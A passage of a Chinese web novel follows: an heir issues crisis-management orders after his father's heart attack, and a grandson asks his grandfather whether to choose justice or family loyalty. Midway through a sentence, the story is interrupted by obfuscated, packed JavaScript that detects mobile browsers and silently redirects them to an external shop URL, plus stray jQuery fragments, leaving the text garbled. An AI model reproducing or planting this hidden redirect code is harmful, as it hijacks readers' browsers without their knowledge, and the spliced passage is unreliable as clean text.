陆聿时转过身，背对着走廊，声音压低了，但每一个字都很清楚。
“第一，通知公关部，今晚全员待命。一旦网上出现关于我爸病情的消息，第一时间核实，不要辟谣，不要否认，统一口径：‘陆海潮先生因身体不适入院治疗，目前情况稳定，感谢大家关心’。不要透露心梗，更不要透露细节。”
“明白。”
“第二，联系证券事务代表，明天开盘前发布公告，就说董事长因健康原因暂时无法履职，由我代为行使董事长职责。措辞要稳妥，不要引发恐慌。同时，让财务部准备一份公司经营状况的说明，重点突出现金流充裕、主营业务正常、重大项目稳步推进，今晚就发给主要机构投资者，提前沟通。”
“收到。”
“第三，调取近三天华海集团的舆情监测数据，重点关注高新区智慧园区项目的相关讨论。如果有人把这件事和项目招标联系起来，立刻报告。另外，让法务部起草一份声明备用，一旦有人散布‘华海集团因项目违规被调查导致董事长心梗’之类的谣言，马上发律师函。”
“好的陆总。除了这些，您那边还需要我做什么？”
“你在公司盯着，这是最重要的任务。”陆聿时顿了顿，“还有一件事，查一下霍静控股的那几家子公司最近的资金流水，看有没有异常。她既然敢动我爸，就不会只走陆婷婷这一条线，我怀疑她在股市也有布局。让投资部盯着华海的盘面，如果明天开盘出现异常卖单，立刻报告。”
“好。我马上去办。”
挂了电话，陆聿时回到抢救室门口。
林美华还坐在那里，姿势没有变过。
他在母亲旁边坐下，把手机放在膝盖上。
“妈，爸会没事的。”
林美华点了点头，没有说话。
*
霍家老宅。
霍建中正在院子里修剪桂花树。
他穿着旧夹克，戴着手套，手里的剪刀咔嚓咔嚓地响着，剪下来的细枝落了一地。
刘管家站在旁边，端着茶盘。
霍骁走进院子，站在台阶上，看着爷爷的背影。
他的背有些驼了，头发全白了，但拿剪刀的手还是很稳。
他想起小时候，每到秋天，爷爷都会带他在这棵桂花树下摇桂花，摇下来的花瓣铺了一地，奶奶拿去做桂花糖。
那时候他觉得爷爷是世界上最高大的人，什么都知道，什么都能解决。
现在爷爷老了，他长大了，他却还是什么都解决不了。
“爷爷。”霍骁喊了一声。
霍建中回过头，看到孙子，放下剪刀：“加班回来了？吃饭了没有？”
“吃了。”
霍建中看了他一眼，欣慰地笑了。
他在院子里的藤椅上坐下，拍了拍旁边的椅子。
“坐。陪爷爷喝杯茶。”
刘管家倒了茶，退下去了。
霍骁在爷爷旁边坐下，端起茶杯，茶是热的，龙井的清香在微风里散开。
“最近工作怎么样？”霍建中问。
“挺好的，感觉……学到了很多东西。”霍骁应了一声。
他的目光一直落在那棵桂花树上，心思却不知道飘在了哪里。
“怎么了？心事重重的。”霍建中喝了一口茶，看着他，“是工作上遇到什么麻烦了吗？有没有请教你姑妈和哥哥？”
“不是工作上的麻烦……”霍骁回答道。
“那是什么？”
霍骁端着茶杯，沉默了很久。
“爷爷，如果正义和感情相冲突，应该怎么选？”
霍建中放下茶杯，看着孙子，目光很平静，没有惊讶，也没有追问。
他活到这个岁数，见过太多风雨，年轻人纠结的那些事，他都纠结过。
像这样的问题，对他而言早就不是问题了。
“每个人的选择都不一样。”霍建中说，“有些人过不去心里那一关，无论如何都不愿意违背良心，他们会选择正义。有些人重感情，为了自己在乎的人可以付出一切，他们会选择感情。有些人不问对错，只问输赢，那么不管是正义和感情，他们都不在乎……
“所以，到底该怎么选，还是要遵从你内心的想法。”
霍骁低着头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17581403|205118||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，看着茶杯里浮浮沉沉的茶叶。
“爷爷，那您呢？您是哪一种人？”
“爷爷我好胜，”霍建中顿了顿，话锋一转，“但每一次赢，爷爷都要赢得公正漂亮！”
霍骁松了一口气。
霍建中语气严肃了一些，对霍骁说道：“小骁，你记住，输赢只是一时的，但一个人的人品，是他最大的口碑，是要伴随他一辈子的。”
霍骁点了点头：“爷爷，我明白了。”
霍建中欣慰地笑了。
霍骁又问：“那爷爷，如果您发现一个人，一个您一直以为是好人的人，其实并不是——您会怎么做？”
霍建中沉默了片刻。
“那要看他是谁，做了什么事。有的小错误犯了，迷途知返，可以原谅。有的错伤及原则底线，就绝对不能姑息。”
他看着孙子的侧脸，“小骁，你是不是遇到什么麻烦了？”
霍骁抬起头，想把今天听到的事情说出来，但话到嘴边又咽了回去。
他知道爷爷是正直的，一定会站在他这边。
可是他没有证据，只有偷听到的几段话。
而且，他不想让爷爷难过。
他都这么失望了，更何况爷爷还是姑姑的父亲。虽然只是养女，但姑姑毕竟在霍家待了五十年，爷爷对她是有很深的感情的。
“没有。”霍骁笑了笑，“就是突然想到一些事，想不通。”
霍建中看着他，知道他没有说实话，但没有拆穿。
“想不通的事，先放一放，时间会给你答案。”
他站起来，拿起剪刀，继续修剪桂花树。咔嚓咔嚓的声音在安静的院子里格外清晰。
霍骁坐在藤椅上，看着爷爷的背影。
他把茶杯里的茶一饮而尽，站了起来：“爷爷，我先上去休息了。”
“去吧。”
霍骁上了楼，回到自己的房间。
他关上门，没有开灯，在床边坐了好一会儿，然后拿起手机。
屏幕亮起来，第一条推送的便是最新的商界新闻。
【华海集团董事长陆海潮突发心梗，正在医院抢救。】